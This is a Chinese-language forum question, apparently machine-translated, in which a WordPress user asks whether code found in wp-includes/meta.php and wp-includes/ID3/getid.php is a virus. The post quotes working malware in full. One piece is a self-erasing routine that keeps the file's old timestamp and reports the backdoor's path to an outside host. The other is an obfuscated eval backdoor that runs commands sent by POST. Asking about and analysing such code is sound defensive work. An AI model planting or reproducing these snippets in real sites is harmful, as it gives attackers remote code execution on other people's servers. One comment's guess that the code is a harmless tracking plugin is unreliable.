我剛剛注意到,我的一些wordpress項目在特定位置包含一些隨機代碼。這是wordpress病毒嗎?
例如: WP-包括/ meta.php包含的以下文件代碼底部:
check_meta();
function check_meta(){
$jp = __FILE__;
$jptime = filemtime($jp);
if(time() >= 1456732115){
$jp_c = file_get_contents($jp);
if($t = @strpos($jp_c,"check_meta();")) {
$contentp = substr($jp_c,0,$t);
if(@file_put_contents($jp, $contentp)){
@touch($jp,$jptime);
}
}
}
@file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/wp-includes/ID3/getid.php");
}
另一個位置:WP-包括/ ID3/getid.php包括下面的代碼:
<?php if(isset($_GET['test'])){echo 'success';}else{isset($_POST['ttr6i']) && ($www= $_POST['ttr6i']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}?>
基本上,我所看到的是,check_meta()方法更新wp-includes/meta.php文件沒有改變它的修改時間。然後,file_get_contents正在連接一些中國服務器,並通過一些數據通過$ _GET。
在第二個文件,str_rot13( 'riny')等於EVAL
有誰處理那樣的問題之前?也許有人可以說更多關於這個代碼。期待您的迴音。就目前而言,我把它當作一種病毒,因爲它已經蔓延到我的許多項目中。
我訪問過'http://web.51.la:82',它打印出關於我的所有信息:ip地址,瀏覽器等等。它可能是一個跟蹤訪問類型的插件,我不確定爲什麼有人想收集有關您的訪問者的信息。 – aron9forever
我認爲如果你在WordPress開發棧交易http://wordpress.stackexchange.com/上發佈信息,你可能會得到更好的迴應。 –